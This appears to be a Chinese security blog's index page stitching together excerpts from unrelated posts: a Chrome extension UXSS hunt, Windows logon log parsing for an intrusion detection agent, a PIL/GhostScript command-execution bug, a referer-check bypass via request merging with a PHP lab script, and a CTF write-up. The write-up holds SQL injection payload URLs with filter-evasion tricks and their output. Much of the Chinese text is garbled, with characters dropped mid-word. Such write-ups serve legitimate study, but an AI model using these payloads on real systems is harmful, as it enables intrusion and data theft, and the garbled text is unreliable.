Chrome 扩展安研究 - 一UXSS的挖掘经历

首发于: https://www.anquanke.com/post/id/98917

引言

有点想把标题换成 来骗波点击但毕竟其实是扩的问题,还是老实点写“扩”吧。

这我春节前挖到的一个,大概抓取了用户量top400的 Chrome 扩展,对比较意的几个问题写了脚删选了一部分出来,再个计。本次讲的这个漏洞想产出 UXSS 的时挖的 UXSS 漏洞之一。我得比较型,涉及到 content_scripts 和 background 脚本及其他 Chrome 扩展的特性,相对说比较有趣坑也稍微多一点。

由于不能公开插件详情我把该插件漏洞相关的源码抽出来去掉一带有公司名的关键字,到 github 上:

https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss

git clone 到本地,打开 chrome://extensions/, 开启“开发者式”, 点击 “加载解压的扩展程序…” 按钮选择 content_scripts_uxss 夹即可。

使用 golang 解析 Windows 日志的四种法

于驭龙HIDS

驭龙HIDS (https://github.com/ysrc/yulong-hids) 是一由 YSRC 发的入侵检测系统,集异常检测、监控理为体,拥有异常行为现快速阻断、高级分析等功能,可从多个维度信息中发现入侵行为。,驭龙agent主要会收系信息,计划任务,存活端口,登录日志,程信,服务信息,启项,用列表,web路径等信息,其中Windows用户录信息读了Windows的EventLog,经历了几个版本更换了好几方法,最成型。这篇文就稍微说一下这几种方法的思和实现。如果有好的路或实现,期待各交流指教。

Windows事件查看器日志ID

我们知道Windows会把系统登录日志录在Windows安全日志里,我可以在事件查看器筛选查看这些系统日志

那如果要登录相关的系统日志呢可以用事ID进行筛选其中登录失的事件ID 4625, 而成功登录ID 4624。大部分的登录信会包含在这两个事ID面。

Exploiting Python PIL Module Command Execution Vulnerability

这是我用支持先知和代码审计密活动的文章,首发: https://xianzhi.aliyun.com/forum/read/2163.html

PIL (Python Image Library) 应是 Python 图片处库中运最广泛的,它有强大的功能和简洁的API。很多Python Web应用在要实现处理图片的功能时,都会选使用PIL。

PIL在对 eps 图片格式进行处理的候,如果境内装有 GhostScript,则调用 GhostScript dSAFER式下处理图片,即是新版本的PIL模块,也会受到 GhostButt CVE-2017-8291 dSAFER模式Bypass洞的影响,产生命令执洞。

据说大牛看码和 dockerfile 就可以了:https://github.com/neargle/PIL-RCE-By-GhostButt

用request merging bypass referer(jsonp) 检测

更新两之前其他地方发过的章

1. 关于request merging和其产生的问题

request merging : 浏览器会把多次相同的请(并非所有请求)合并成次,以加快资源载速。

e.g.

1
2
3
<script type="text/javascript" src="https://0.0.0.0:8888/jsonp/1"></script>
<script type="text/javascript" src="https://0.0.0.0:8888/jsonp/1"></script>
<script type="text/javascript" src="https://0.0.0.0:8888/jsonp/1"></script>

只会请并载一次”https://0.0.0.0:8888/jsonp/1"资源。

经有研究指出,这种请合想象在iframe里也存在,那么浏览器的这种特就可以用来bypass分程序的referer的判断,如jsonp防御机制。

2. 环境POC

绕过referer检测,攻击者能否拿进行referer保护的用户息?

击者服务: https://example.com:8081
目标服器: https://example.com:8082
referer检测: referer是否以https://example.com:8082”开头
目标: 攻击者拿到属于用户的 “security content”

环境:

/jsonp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

function startsWith($url, $domain) {
$length = strlen($domain);
return (substr($url, 0, $length) === $domain);
}

$referrer = @$_SERVER['HTTP_REFERER'];

if (startsWith($referrer, "https://example.com:8082")) {
$js_code = 'function jquery() { return "security content";}';
echo $js_code;
} else {
$js_code = 'function jquery() { return "nothing";}';
echo $js_code;
}

ddctf 两道web题的Writeup (sqli & xss)

更新两篇之前在其他方发过的文章

sqli

地址: https://118.190.134.8/t1/news.php?id=1

尝试sql入,会发现过滤了’空格等。使用
https://118.190.134.8/t1/news.php?id=1%0aand%0a1=1https://118.190.134.8/t1/news.php?id=1%0aand%0a1=2 判断注入存在,开始思数据的方法

https://118.190.134.8/t1/news.php?id=1%0aorder%0aby%0a5
判字数为4

https://118.190.134.8/t1/news.php?id=1union%0aselect%0a1,2,3,4
现过滤了逗号

那不好用union出数据,可择使用盲注出数比如(select%a0ascii(substr((select%a0TABLE_NAME%a0from%a0information_schema.tables%a0where%a0TABLE_TYPE%a0=%a0"BASE%a0TABLE"%a0limit%a01%a0OFFSET%a02)%a0from%a01%a0for%a01))=1)%23。但是这里其实有一union出数据的tip可以使:

1
2
3
4
5
6
mysql $> select 1,2,3,4 Union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d
+-----+-----+-----+-----+
| 1 | 2 | 3 | 4 |
|-----+-----+-----+-----|
| 1 | 2 | 3 | 4 |
+-----+-----+-----+-----+